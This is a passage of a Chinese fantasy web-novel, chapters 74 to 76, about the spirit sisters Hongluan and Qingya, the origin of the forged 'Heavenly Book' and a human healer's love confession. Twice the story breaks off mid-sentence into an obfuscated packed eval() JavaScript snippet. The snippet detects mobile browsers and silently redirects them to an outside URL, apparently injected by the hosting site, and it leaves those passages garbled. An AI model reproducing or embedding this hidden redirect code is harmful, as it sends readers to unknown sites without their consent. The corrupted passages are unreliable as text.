那个在夜里险些杀了自己,就为了剖出妖丹的人。 红鸾回身抓起酒壶,猛灌了一口酒喝。酒液冰凉,唯有如此才能让她冷静。 “我看到他了。” “谁?”楚醉君发现自己语气反常地急切,庆幸红鸾目光涣散,注意力明显不在他身上。 “一负心人,他仍在京城。”红鸾叹道,“我在冬猎场上看到他,妻妾成群,美人环绕……真好啊。” 寥寥数语,楚醉君就明白红鸾所指是谁了,何况他早就调查过红鸾与青崖的背景,甚至让鹤少读取过牡丹的记忆。 但那人具体身份还是难以判断。冬猎场上,有皇亲国戚,文官武官,能跟着皇上去猎场,还能带着家眷的,绝对是有身份有地位的人。 “他……是一个人族?”楚醉君问。 红鸾似乎失去了聊天的兴致,晃晃悠悠地走出亭子,踏在雪上,指着屋顶道:“我要到上面去。” 楚醉君一挥手,半空中多了一条通往屋顶的冰阶,晶莹剔透。 红鸾款款走上屋顶,红色裙角轻轻摇曳摆动,她走到屋脊上,遥望明月。 楚醉君的目光追随着她,没有阻止雪花落在她乌黑的发与火红的裙上。 “真好啊,”她呢喃,“娇妻美妾,子孙满堂,尊贵地位,他都有了,就好像……从没遇见过我一样。” 她望着天上的月亮,似乎在与之对话,随后来到屋顶边缘,张开双臂,闭上眼睛,缓缓倒下。 如愿以偿地,她没有坠落在地,而是落在了楚醉君的臂弯里。 “美人,”楚醉君横抱着她,“你这一摔的目的也过于明显了。” 红鸾笑笑,双手绕过他的肩,环过他的颈。 “我喝醉了,抱我回房。” 楚醉君站着不动,“我虽风流,却从不乘人之危。” “我没醉,抱我回房。” “喝酒还不够,打定主意要借我浇愁?” 她抚上他的脸。 “你皮相还算好看,且没有未来,正合我意。” “为什么不找个有未来的人?” “因为,我不需要未来。” 74. 第 74 章 “啊——!” 半夜里响起一声熟悉至极的尖叫,青崖从梦中惊醒。 入睡前她隐约听得屋子外面的雨声时断时续,现在,外面雨声终止,姐姐的惊叫划破寂静的夜。 “走开!别碰我!” 青崖翻身而起,披上衣服冲向姐姐的房间。 推开姐姐的房门,青崖意外发现楚醉君也在,且穿的是寝衣,正控制着同样只穿寝衣的姐姐的双手。 他在呼唤:“红鸾?红鸾?你怎么了?” 床边和屋角都冒着青烟,是着过火的痕迹。红鸾坐在床上,面露惊恐,满脸泪水,边哭边挣扎,试图甩开楚醉君的手。 “别碰我!我要杀了你!杀了你!” 这场景着实让人误会,楚醉君焦急对赶来的青崖解释:“不是……你姐姐突然发狂,我一松手她就到处点火,所以才会这样。” 青崖虽然不知楚醉君为什么会在深更半夜时仍在姐姐房间,但她一看既知,姐姐如此症状,一定是又梦魇了。 她走上前去拉开楚醉君,扶住红鸾肩膀,用自己的额头抵着红鸾的额头,运转灵力与红鸾的灵识连接。 姐姐梦魇不是很严重时,只需说话唤醒安慰即可,若严重怎么也唤不醒时,就必须以灵识安抚才能有用。 她以前不知为什么偏偏是自己可以有效地唤醒梦魇中的姐姐,现在知道这是灵识系特有的技能,且能更加运用自如了。 灵识连接后,她感到红鸾体内的灵气波动不稳,灵识一片混沌的暗红,她源源不断向姐姐渡去一股平和的灵力,与此同时,红鸾不再挣扎,也不再尖叫,推搡着她的手渐渐垂下。 过了一炷香的时间,红鸾的灵识终于回归清明,青崖与她分开,抬头道:“姐姐别怕,我是青崖,我在这里,没有人要害你。” 楚醉君见她处理这种情况极为熟练,便知这是常有的事,免去了被误会他欺负红鸾的担忧,飞速穿好自己的衣服。 “你姐姐怎么了?”他问道,“梦魇吗?怎会如此严重?” 青崖看着他仍旧凌乱的领口,问:“你为何在?” “这个,”楚醉君视线游移,飘向红鸾,答非所问道:“她半夜醒来,突然发狂,我猜也是梦魇,但怎么叫不醒她。” “你为何在?为何只穿寝衣?” 青崖仍旧盯着他,声音平淡,眼眸里也毫无情绪。 她眼眸越是黑白澄澈,楚醉君越是难以回答。 正在这时,红鸾终于缓过一口气来,睁开眼睛徐徐道:“青崖,别问了,是我允许他留宿的。” “他留宿,所以害你做噩梦。”青崖夺过楚醉君手里的帕子,给姐姐擦着额上的汗。 红鸾与楚醉君对望一眼,都听不出她这句话是下结论,还是提问,也不知道她是否明白此处“允许留宿”的含义,默契地选择不去深究。 “你做了什么噩梦?”楚醉君先是问红鸾,见红鸾没有要回答的意思,转而用眼神询问青崖。 “可以说吗?”青崖问。姐姐的噩梦与她过去的恋人有关,而那个人,姐姐向来不愿提起。 红鸾苦涩一笑,神色凄然。 “不过就是梦见我的枕边人,要杀我取丹。 “那日我们正好相恋三年,我给他做了一桌饭菜,买了城里最贵的酒,还精心给他准备了一个惊喜。也是那天,白日里他还与我甜言蜜语,半夜突然对我举刀……“ 红鸾手指在胸口攥紧,仿佛那里的刺痛仍在。 “后来,他同我牵着手,前一刻还温柔承诺要护我一生,下一刻就举刀要剖开我的肚肠,他把我的血肉都剁碎吃了,和他的妻妾一同分吃了!” 红鸾的声音颤抖起来,讲着因过往而引发的噩梦,情节开始颠三倒四,所有与那人有关的美好回忆,最终都以血腥结尾。 “他不仅要杀我,还要杀我的同族,灵族受难皆因为我……如果我把内丹给他就好了……我应该给他!” 红鸾双手狠狠抓住青崖双肩,“青崖!你不要步我后尘,不要与人族相恋!你若不听,我就杀了长山!” 随着讲述,她又开始分不清梦与现实,有发狂的征兆,青崖不得不再次以灵识安抚,让她安睡。 “以你姐姐的谨慎,竟会在两族对立的情况下对人族动心,”楚醉君唏嘘:“那该是怎样一个人?” 青崖给红鸾拉好被角,握着红鸾的手,轻声道:“姐姐和那人在一起时,《天书》还没有流传于世,姐姐和那人在一起两年后,才有了‘人吃妖心可得长生’的说法流传,第三年,那人就动手了。“ “那人到底是谁?” 青崖摇头,“姐姐不说。” 楚醉君终于得空把自己的凌乱衣衫理好,拉了个凳子守在床边。 青崖问:“写《天书》的寒潭仙人究竟是谁,真有这样一个人吗?他还在世吗?” 天书广为流传大约是三十年前的事,灵族一切不幸,似乎都起源于那本《天书》。 “不是!”楚醉君凛然反驳,“不是寒潭仙人,我知道是谁,而且我与那人颇有渊源。” “与你有关?” 青崖以平静且似乎能洞察一切的眼神盯着楚醉君,这让楚醉君很不适应,他微微侧了侧身,愁闷地娓娓道来。 “你已经是自己人了,便告诉你吧,写书人就是汤固,不过他写书时,还不叫汤固,而叫廖子商。那时候,他是我的师弟“ 天下第一捉妖术士居然曾是一个灵族的师弟,这种事谁听了都会十分惊讶,不过青崖并未表现出一丝波动,静静地示意楚醉君讲下去。 “我们的师父,自己并不承认是我们的师父,只是他收留了我们,我们一厢情愿叫他师父。 “师父是个有灵根的人族,我跟随他十年也没能知道他的真实姓名和年纪,人们见他常在一寒潭边弹琴,就称他为‘寒潭老人’,后来时间久了,见他十几年容貌不变,就开始叫他‘寒潭仙人’,他自己则说自己叫做‘寒蝉’ “寒潭仙人”的名声渐渐传播开来,便有人拜师学习仙法,寒蝉师父其实既不很清楚自己是怎么能长寿的,也不知道自己为什么会术法,自然拒绝了那些人,还躲入深山里,绝少露面。 可有一对廖姓夫妻很是执着,他们把自己的儿子留在寒潭边就离开了,寒蝉师父不忍心让孩子流离失所,饿死在山野,只好也收留了他。那孩子就是廖子商,现在的汤固。 那时楚怀义、楚醉君七岁,廖子商九岁。 楚怀义与楚醉君已是彼此熟悉的好朋友,起初也是想拉廖子商一起玩耍的,可没想到,廖子商小小年纪,却是认认真真地求仙问道。 他每日都紧紧跟随寒蝉师父,模仿师父的一举一动,但求学会仙法。 寒蝉是天生就能吸收灵气的体质,修炼方法也不过专注、聚灵而已,弹琴打坐时就能引气入体,他见廖子商实在用功,便把自己的修炼时对“灵”的体验尽量用通俗语言描绘出来,至于廖子商能不能引气入体,只能看他自己的造化。 廖子商勤学苦练,不见成果。楚醉君与楚怀义孩子心性,深觉廖子商无聊,渐渐与之疏远,甚至认为他行为好笑。 修习五年,廖子商一无所成。 一日,楚怀义与楚醉君心血来潮,打算捉弄捉弄他,就在廖子商模仿师父动作施展法术控水时,楚醉君利用自己与生俱来的能力,暗中捣乱,让廖子商误以为自己学会法术了。 廖子商惊喜得去给师父展示,却怎么也不管用,寒蝉知道这是楚醉君与楚怀义的恶作剧,把他们严厉批评了一顿,他们与廖子商的关系越来越糟糕。 楚醉君频频故意在廖子商面前炫耀自己有随心所欲控水的技能,嘲笑廖子商天生无能,再努力也不如他天天睡觉玩耍法力高。 有好一段时间,廖子商陷入消沉,把自己关在屋子里不知在钻研什么。 楚醉君与楚怀义偶尔去附近村镇找人玩耍,发现有人对他们指指点点,一次听书,说书人突然拿着一本书讲妖是害人邪物,说妖必将祸乱天下、专门吸人阳气云云,讲完当众指向楚醉君。 “那就是一个小妖,你们可要离他远一些,最好把他关进笼子里。” 以前有人知道楚醉君有异能,与寻常人不同,但并不排斥,被说书先生一如此讲,本着宁可信其有,不可信其无的原则,见了楚醉君都躲着走。 楚醉君生气地从说书先生那里抢来那本书,发现那书封面上写着《天书》二字,署名“寒潭仙人”,字迹却是廖子商的。 原来前些日子他把自己闷在屋里就是在编写这本书。 那时灵族还没被称为“妖”,甚至有一些被称为“神仙”。 廖子商知道他喜欢与人交际,写此书就是为了报复他,让人排斥他。 他把这事告诉寒蝉师父时,说的还是:“朋友们都不和我玩了。” 寒蝉师父却意识到事情的严重性,当即把廖子商找来,问他把书给了谁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15016947|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 廖子商承认书是他写的,只给了说书先生一份,师父去附近打听,那说书先生已不知去向。 五六年后,即神凤前二年,《天书》不知如何传到重病的先皇手中,因为里面有一条“人吃妖心可治百病,得长生”,先皇就广发告示寻求妖心和《天书》署名作者“寒潭仙人”。 寒蝉起初刻意躲避,皇上派出的人只能打听到他的长寿事迹,却找不到他本人。 《天书》是假的,能够长寿的“寒潭仙人”却是真的,人们于是相信《天书》里的内容就是真的。 《天书》的抄本开始遍布天下,又被人增加改变了许多内容,“人吃妖心可得长生”这一条传播最为广泛,甚至渐渐传成寒潭仙人就是吃了妖心才能长寿的。 谣言愈演愈烈,寒蝉决定入京。他让楚醉君与楚怀义不许露面,他自己带着廖子商上路,他要让廖子商到天子面前承认那本书是他乱编的。 向来低调的他一反常态,每到人群市井之间,都会公开展示自己习得的控水仙法,并说自己长生全靠天生体质和后天修炼,与妖无关,那本《天书》也不是他写的,《天书》里的内容更是荒谬。 寒蝉第三次公开展示仙法后,突然暴毙。 后来的事,楚醉君与楚怀义都只是听说。 听说还没走到京城,廖子商突然指认辛苦澄清谣言的寒蝉师父是妖。 他拖着寒蝉师父的尸体去官府揭发说那不是真正的寒潭仙人,寒潭仙人因为揭穿妖的秘密,已被妖吃掉,眼前这个是变化成寒潭仙人模样的妖,假装会术法、指认《天书》里都是虚假内容,实际是为了隐瞒妖的秘密,阻止人族捉妖。 他说自己受妖胁迫多日,与妖拼死搏斗才重获自由。 谣言漫天,唯一努力澄清谣言的人却已死去。 后来廖子商也失踪,今上继位后,正式颁布《捉妖令》,神凤六年,一个叫汤固的术士连捉数十妖类,一举成名,得今上重用。 寒蝉对于楚醉君与楚怀义来说,如师如父,失去寒蝉后,他们带着寒蝉遗物流浪多年,最终投靠灵岛鹤老,多方调查才发现,汤固竟然就是廖子商。 他容颜大变,仙法没有学成,却体悟了使用煞气克妖的法门,发明了一系列针对妖的术法与法器,可以分辨人妖、使用符篆、构建防妖结界等。 楚醉君不知寒蝉师父究竟为何暴毙,但他猜测,一定与廖子商脱不了干系。 神凤七年,汤固在皇帝支持下,开立诛邪司,广收徒弟。 青崖默默计算年份,神凤前二年,先皇得《天书》,《天书》开始广为流传,那也是姐姐与恋人相处的第二年。 神凤二年,今上颁布《捉妖令》,也是她父母开始隐居的时候。 神凤七年,京城有了诛邪司,神凤八年,红鸾来到槐谷隐居。 “灵族之难,皆因《天书》而起,汤固写天书时,才十三岁。”楚醉君神情晦暗,扇子也不摇了,“而他写天书,又是因为我少年无知时对他的嘲弄。” “他那时为了学仙法,早起晚睡,甚至寒冬时节把自己泡在水中,就为了感知师傅在水中感知到的‘灵’,对于他那么努力的人,眼睁睁看着我什么都不做就能拥有他梦寐以求的力量,是莫大的折磨。可惜,我那时见识浅薄,并不明白。” 红鸾早已清醒,却没有睁眼,困倦地躺在床上,听楚醉君讲述过往。 现在她知道为什么楚醉君那么坚决要在将来自剖妖丹澄清谣言了,原来是为了赎这种罪。 沉默良久,楚醉君自嘲一笑,对青崖道:“若非你现在自闭灵识,听了这些事,一定会很怨恨我吧。” 青崖静静道:“《天书》不是你写的。” “因我而起,最终难辞其咎。”楚醉君微微摇头,继续道:“《捉妖令》颁布后,鹤老夫人到处云游寻找同族,在灵岛开辟出一片可供灵族藏身的世外岛屿,我也是在那时候应召前往的。不过区区几年,灵族与人族关系骤变,仇怨越来越深。鹤夫人得知我的经历,叫我最好保密。她说的对,如果同族知道《天书》成因是我,那么我便再也无法领导开天盟,说什么做什么都难以令人信服,你们听了今日的话,可要为我保密。” 说罢,他站了起来,“夜已深,你们休息,我走了。” 他走到门口,突然转身望着床上的红鸾,低声道:“对不住,也是那本书将你与恋人的好梦变成了噩梦。” 不等红鸾回应,他推门而出,走入浓墨夜色。 75. 第 75 章 楚醉君隔了几日再来时,又恢复了风流潇洒的模样,仿佛那一夜的愁闷并未存在过一样。 红鸾对他的态度也与从前没什么不同,依旧冷冷淡淡,有事说事,无事不理,除非是他欺负青崖,她才出面教训。 青崖悄悄把他拉到一边时,他还调侃:“小美人有什么悄悄话要对我说吗?” “这个,”青崖拿出一张纸交给他,道:“交给说书先生,让他们讲。” 楚醉君接过纸看了一下标题,“《红鸟词》?你写的?” 青崖点了一下头。 一首骂负心人的词。剖妖丹这种事不好传讲,所以词中描述的是一个人为了妻子家的钱财而娶妻,娶妻后并不爱妻子,为了顺理成章再娶他人,半夜乘妻子熟睡杀死妻子的故事。 词名叫《红鸟词》,如此一来,“半夜杀妻”当事人一听必定知晓这词是在骂他。 楚醉君通读一遍,问:“红鸾知道吗?” 青崖:“知道。” 词是她写的,拿给姐姐看时,姐姐问:“传播这个,又有何用?” “骂他,叫他惶恐不安。”青崖道。 一个曾经想杀却没杀过的旧日恋人突然有了音信,任谁也不能高枕无忧。 姐姐到底要不要找那人报仇暂且不论,能让他坐立难安也算浅浅出一口气。 红鸾沉思良久,修改一番,给这首词取名为《红鸟词》。 “她……常常提起那个人吗?”楚醉君握着那张纸,收敛起轻佻模样。 青崖:“不常提。” 楚醉君低着头佯装仍在阅读《红鸟词》,沉默着期望青崖可以多透露一点什么,但青崖自闭灵识后很少主动打开话匣子,旁人不问,她就什么也不说,就算问了,她也只用最简单的词句回答。 拿着纸把上面的《红鸟词》读了三遍,都快背下来了也没等到青崖再多说一句话。 “这首词不适合说书先生,适合编成歌谣,”楚醉君失望又无奈道,“这样吧,我再帮你润色一下,叫人谱曲传唱。根据红鸾所说,那人能随皇帝一起去猎场,还妻妾成群,我猜那人不是达官贵族也是富商显贵。我让人谱曲用心一点,在各大乐坊传唱,那人必有机会听到。” 他将纸折起收入乾坤袋,又道:“还有一件事要同你们商议,等莲子化形成人,你们就一起回灵岛吧。” “开天盟的任务?” “京城暂时不需要你们做什么了,你回灵岛,去与同族熟悉熟悉,在那里有新的任务。” “你说谎。” 楚醉君扶了扶额,这才想起青崖是灵识系,话语中半句假话都掺不得。 “是我希望你们离开京城,去灵岛,不要在这里……乱我心。” * 《红鸟词》被谱曲成为一首哀伤凄美的歌,由不知名乐坊演奏传出,传遍大街小巷。 青崖无法求证有没有让该听到的人听到,总之传播出去,她就算做完可以做的事了,没有其他焦急或愤恨情绪,依然平平静静在荒宅里度日。 水池里的莲子生根发芽,长出叶子,探出花苞,盛开出一对并蒂莲花。 花已盛开多日,楚醉君与长山都判断,莲花即将化形。 她每日作画,把花叶的变化都记录了下来。 长山得空就从宫里偷偷出来看她。 一日,长山望着她作画的侧影,问:“你还记得我第一次画你,把你画成骷髅的事吗?” 青崖:“嗯。” “我离开时还留给你了一幅画,你可有收到?” “没有。” “怎么会没有,就在你桌子上……” “不知。” 长山发现不远处正在做刺绣的红鸾动作顿了一下,便知道青崖为什么没收到那幅画了。 不过,现在红鸾都允许他单独照看青崖了,与五年前的态度,应当有所不同吧。 他试探道:“没收到没关系,我再给你画一幅可好?不画骷髅,就画你现在作画的样子。” 青崖头也没抬:“好。” 结果长山还是画了一幅骷髅坐着拿笔作画的图,把新的骷髅图拿给青崖看,故意问:“好看吗?” 青崖扫了一眼,道:“可。” “……” 长山惆怅地放下画纸。 九九八十一日期满,并蒂莲化出人形。 出乎大家意料的是,它不是化形成一个小孩,而是两个小孩,一对龙凤胎。 众人集思广益一起取名,让他们一个随父姓,一个随母姓,女孩起名为林霄然,男孩起名为周景然。 因为是第一次用寒蝉师父记录的特殊方法培育出灵族后代,楚醉君抱着婴孩喜得像有了自己的孩子,红鸾也对龙凤胎显出少有的温柔,青崖看到两个三岁小孩从池子里爬出来,却只是问了一句:“他们就是并蒂莲?” 红鸾介绍:“他们是小狼和芊芊的后代。” 青崖“哦”了一声,将绘画的桌子搬离水池。水池空了,她该换个地方去画其他东西了。 长山对与青崖的冷淡开始有些担忧,以至于楚醉君同他说话时他也心不在焉。 “你给两个孩子诊脉了吗?他们是否健康?哎,你只要来了就一定给他们诊一诊,我们都没有养育这种婴孩的经验,要特别小心。” “嗯。” “这是我让楚怀义置办的小孩子的衣服和玩具,你看看怎么样?是不是你们人族小孩喜欢的?” “好。” “他们就要回灵岛了,因为体质特异,成长速度飞快,一日如同人族婴孩一月,得给他们多买点衣服,还有京城特有的各种吃食,让他们抓紧时间尝一尝,今天给他们带的是糖葫芦。” “可。” “喂——”楚醉君用扇子敲长山手背,“你在干什么?” 长山拉回思绪,看到自己的手指搭在糖葫芦上,指尖被糖黏住。 “给糖葫芦诊脉?”楚醉君调侃,“你怎么回事?也自闭灵识了?” “别给孩子了,这串是酸的,”长山放下糖葫芦擦拭手指,“青崖这种状态到底好不好?会不会对身体或心智有损?” “她能照常修炼,还有你天天给的这些进补丹药茶水,不会有害的,你一天给她诊脉八百次,你不清楚吗?怎么,你想让她早点恢复?” “我既期望她恢复,又不期望她恢复。我只是……”长山低头,“……很想念她。” “啧啧啧……”楚醉君一副被酸到的表情,“你这样牵挂她,不如跟她表白一下你的心意?说不定她一开心,就恢复了呢?” “会吗?”长山眼神一亮。 “总得试一试,”楚醉君道,“不然她以这样的状态去灵岛,在那里常住,过几个月就把你给忘了。你不仅要说,还得用最轰轰烈烈的方式去说,以达到最刺激的效果。” 他越说越有兴致,甚至有模有样规 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028097|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 划起来,要准备一个感天动地的表白场景,又要安排花船,又要安排烟花,传授他那“讨好美人”的经验。 长山满是怀疑道:“你是不是希望让青崖恢复灵识,这样她就能单独送龙凤胎去灵谷,好让红鸾留在京城?” 楚醉君愣了一下,很快道:“不,无论青崖恢复与否,红鸾都会和她一起回灵岛。” 长山:“这是红鸾姐的意思? “是我的意思。” “你刚跟人家……就把人家遣送走?这么薄情?” 楚醉君嘶了一声,道:“你消息挺灵通,青崖告诉你的?” “是啊,青崖说的,”长山模仿青崖毫无波澜的语气道:“她说,半夜听见姐姐惊叫,她进屋看到你们衣冠不整,她姐姐让你别碰她,你却牢牢抓着着她姐姐不松手。” “……”楚醉君目瞪口呆,这的确像那个自闭灵识的青崖描述的方式,也的确是她看到的场景,被这么一说,弄得他那晚好似…… “禽兽。”长山下结论,“没想到你是这样的禽兽。” “……” “至少是个薄情的禽兽。” 长山收起玩笑的态度,神情转作认真,“那件事,就不能为了红鸾姐,想想别的办法?” 长山知道那晚是红鸾做噩梦,也知道楚醉君关于未来献丹的计划,毕竟第一次换丹验证,就是楚醉君拜托他做的。 他前后研究了两年,剖妖丹的方法和让人克化妖丹的方法基本都来源于诛邪司。 汤固近二十年无数次设法剖出妖丹,潜伏在诛邪司内部的开天盟成员盗取了汤固的全部记录,长山参考后得出结论:灵族内丹离开本体的维护必定灵力溃散,那么只有让本体在剖丹全程都清醒着,主动维持内丹完整。 那个自剖内丹的灵族吃了长山的灵药,可在内丹离开本体后多存活半个时辰,这半个时辰内,他要帮服下他内丹的人族克化内丹。 当时自告奋勇参与的人族是楚怀义。半个时辰后,自剖内丹的灵族让内丹在楚怀义体内稳定下来,他自己当即死亡。 灵族内丹在楚怀义体内只维持了不到一日就开始消解,楚怀义不仅没有任何体质变化,还大病了一场,一个月后,他恢复正常,长山给他诊脉,无论灵脉还是腕脉,都证明他体内一点灵力也没能留存,依然是个普通人。 灵族内丹无法被人族吸收,所谓“人吃妖丹可得长生”更是无稽之谈,可惜天下人还不知道这件事。 “以前我人微言轻,或许说什么都无人在意,”长山道,“但现在我是国师,我说的话,还是有一定分量的,只要我证明……” “不行的,”楚醉君打断他,“谣言传得太久,已经在人们心中根深蒂固,若非亲眼见证,很难扭转他们的想法。譬如皇上,他虽然相信你的丹药管用,甚至建修仙阁,不还是不愿放弃捉捕灵族?再说了,牺牲我一个算什么,为了实现两族和平,从以前到以后,不知道还要牺牲多少人呢。” 这样沉重的话,他却是无所谓地讲了出来。 多说无益,目前也只好如此,长山于是道:“我听到汤固说这次回来的确带回了制作指妖罗盘的新材料,说不定真会给他制作成功,你该安排一下,让潜伏在京城的灵族小心。” “嗯,我也得到了类似的消息,最近会挨个通知下去,让他们能离开的离开,能潜伏的潜伏,红鸾青崖刚加入开天盟,没有京城任务在身,正好让她们回灵谷待命。” 76. 第 76 章 咕噜咕噜的响声中,花草茶的香甜气味掺杂着一丝淡淡灵药气,在庭院里浮动。 荒宅已经一点也不像荒宅了。 牡丹与楚醉君陆陆续续送来了不少起居用具。 长山送来的笔墨纸砚都是皇上御赐给国师的,名贵稀有,满京城没几个人能用得上。 多了两个孩子后,宅中更多了几分温馨。 不过这些青崖都感觉不到,她只觉并蒂莲化形后不如以前安静,一直吵吵闹闹,还会抢她的笔,撕她的纸,只有趁两个孩子午睡时,她才能安静作画片刻。 长山坐在她对面,给她添茶研磨,平常他会在青崖作画时整理自己的医药记录,今日却盯着茶壶上飘起的袅袅白雾,时不时瞧一眼她,欲言又止。 画完一整幅画,青崖突然停笔,抬眼道:“长山,你喜欢我吧?” 正心不在焉喝茶的长山呛住,放下茶杯,咳了一声。 在青崖宁静注视下,似乎一切心事都无所遁形。 “是,很喜欢”长山回视青崖。 若是楚醉君在场,定会大呼无聊。 长山几乎能想象到楚醉君痛呼:无聊!本该动人心扉的表白,怎能如此无聊?我授予你的“讨好美人”的技巧一个都没用上,真是白费口舌! 但长山似乎被青崖的沉静状态所感染,情绪都被那双澄澈眼眸吸走了,无论青崖问什么,他都只能平淡如实地回答。 “何时开始?” “五年前。” “当心上人那种喜欢?” “是,当心上人那种喜欢。” 青崖沉默,安静的气氛让长山忐忑。 他问:“青崖,你呢?你心中是否有我?” 青崖放下画笔,稳稳当当,面向长山端坐。 “你我寿数不同,我母亲去世后,父亲抑郁而终,我不想步他后尘。姐姐也不希望我与人族相恋,有小狼与芊芊的前车之鉴,我更不想让姐姐担心,所以,我不会把任何人族当作心上人,更不会与人族结为伴侣。” 自从自闭灵识后,她很少说这样长的一段话。 长山身子晃了一晃,眼里似有星辰暗了下去。 * 长山走后,青崖仍是继续作画,红鸾看时,她正在画一丛干枯的野草。 过了一个时辰,红鸾再看,发现青崖握着笔发呆,画面与一个时辰前相比没有丝毫变化。 “怎么停在这里了?”红鸾问。 她隐约感到青崖有点不对劲,把青崖身体搬过来面向自己,见她眼里还是像古井般幽深漆黑,又是庆幸又是失望地叹了口气。 “我还以为你恢复了呢。” 当晚无事,直到第二日早上。 红鸾率先醒来,一对小孩儿与青崖仍在梦中。 自从有龙凤胎之后,她们四个晚上都一起睡。 红鸾把一竹篮玩具放在床头,径自起床去梳洗,没过多久,听到青崖闷哼一声,她走进屋子,只见三个都醒了,龙凤胎坐在最里面,青崖坐在床边扶着脑袋道:“姐姐,我头好沉。” “……”红鸾:“……你照照镜子。” 青崖下床对镜自照,原来她满头插满了小孩的玩具,有草编的各种动物,彩泥捏的小人,梳子小鼓,甚至还有两个小风车。 楚醉君财大气粗,买什么都买一整套,往往直接把摊主插满小玩意儿的草桩扛来,以至于孩子玩具多到泛滥。现在,那些小玩意儿插在她的发间,顶着脑袋上街就能出摊卖货了。 两个小孩一个手拿梳子,一个手拿草编的蚂蚱,还想往她头上比划。 两个小孩子的杰作,与她第一日把小狼和芊芊带回家,介绍给红鸾时的情景如出一辙。 青崖对着镜子愣了一下,然后嘴角牵动,红鸾以为她要笑,随即看到她眼里慢慢蓄满泪水,一眨眼,泪珠滚落。 一滴,两滴,三四五六七八滴。 “青崖,”红鸾急走上前帮她拆下头上乱七八糟的东西,指尖沾了她的眼泪。 “你……醒了么?” 青崖微微点头,泪眼婆娑看向床上坐着玩耍的两个小孩,好像第一次看到他们,第一次看到小狼和芊芊的后代。 化形不过十几日,他们已有两岁那么大了,一样地玉雪可爱,皮肤白里透粉,淡眉下的眼睛如同一对黑葡萄。 小孩们向她张开手,用稚嫩的声音唤她:“姑姑。” 父母不在,这是红鸾教他们学会的第一个称呼。 青崖扑到床边猛地把两个孩子揽入怀中,“你们好呀。” 她彻底醒了。 逝者无法复生,可是还有新的生命需要守护。 * 清醒后第一件事就是找楚醉君商量尽快带龙凤胎霄然与景然离开京城。 京城是个是非之地,没能护好小狼与芊芊她已万分痛悔,现在发誓一定要保护好两个孩子。 除此以外,她也很是担心其他在京城的同族。 她问:“如果汤固真做出了指妖罗盘,除了把灵撤离京城,你还有什么应对方法?你自己怎么办?” 楚醉君道:“研究破解指妖罗盘的方法,麻烦人族朋友多帮忙,除此以外,便是等。” “一直等到老皇帝去世?” 楚醉君摇了摇扇子,反问道:“不然呢?” “太慢,中间变数太多了,”青崖道,“得想想能尽早取消《捉妖令》和澄清谣言的方法。万一那老皇帝还能活几十年,难道我们就只能再等几十年?” 怎么想都嫌这计划太慢,要知道,时间拖得越久,小狼与芊芊那样的悲剧便越多。 都怪灵族数量实在稀少,虽有异能,却不足以与人族正面对抗。 “所谓人活六十古来稀,老皇帝现已五十四岁,再怎么健康长寿,也不可能还有几十年吧。”楚醉君道,“目前没有更好的方法。长山曾旁敲侧击地提过,圣上对于他的其他建议都欣然采纳,唯有放弃捉妖这点意志坚定,不容置喙。” 至于其他不可说的让太子提前继位的方法,不仅难度太大,而且可能导致东莱国不稳。 若有战乱,煞气满天下,对灵族生存同样不利。 更重要的是,太子不愿意。 青崖泄气,道:“先让霄然景然离开京城吧,我想让我姐姐带他们回槐谷,毕竟那里是我们熟悉的地方。让我姐姐带他们在槐谷安顿,我留在京城与你共事可好?汤固如果真的研究出指妖罗盘,或许也指不出我?到时候你会用得上我。” 楚醉君摇头,“我希望你和红鸾一起带霄然景然离开,但不是回槐谷,而是回灵岛,你新学了使用符篆的方法,到灵岛去,便于制作各种不同符篆,我仔细看了你的词与画,又想到一件重要任务交给你去灵岛完成。” “你说。” “帮我完成这本书。”楚醉君递给青崖一 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写写画画不是难事,同时还能更深入了解灵族,青崖当然愿意接手这件事。 “可以,”她道,“那……我自己去灵岛做这些事,让姐姐带霄然景然回槐谷安顿。” 楚醉君皱眉:“为什么这么不想让他们去灵岛?” “霄然景然也是半妖体质,有一半人族血脉,我怕他们去了灵岛遭同族排斥。” 所以她想先自己去探探情况,若是自己这个半妖能在灵岛立足,再把两个孩子接去灵岛不迟。 这样想着,她担忧地看了一眼姐姐。 这是为霄然景然考虑,也是为了姐姐考虑。 记得以前提起灵岛,姐姐就表示过她不愿意去。思来想去,也许和姐姐爱过一个人族有关。 自己父亲带人族母亲去灵岛时,就曾遭灵岛的灵族羞辱。可见即使是同族,哪怕与人族相恋,也会同样遭受排斥。 一念至此,她心中一痛,想起了长山。 楚醉君安慰道:“你们不必担心,我送你们去,自然会护你们周全,灵岛上的鹤夫人也是推崇人灵和平相处的,在她引导下,岛上的灵族已有所改变。” 红鸾也插口道:“一起去吧,让你自己去,我也不放心,我的事……不要让其他同族知道即可。” 青崖仍在想着长山那日暗淡下去的眼神,还有姐姐梦魇时说过的话。 “青崖,莫要步我后尘,不要与人族相恋!你若不听,我就杀了长山!” 虽然是姐姐发狂时所讲,可偶尔回想,还是心惊。 自己拒绝长山的理由的确说得明白坦诚,异族的敌对、不同的寿数、姐姐的担忧…… “唔,”青崖低下头,心烦意乱翻着手中书册,强迫自己不去想长山的眼神,问道:“龙凤胎算是半灵吗?” 可别像自己一样,修炼困难,二十多岁还迟迟不能结丹。 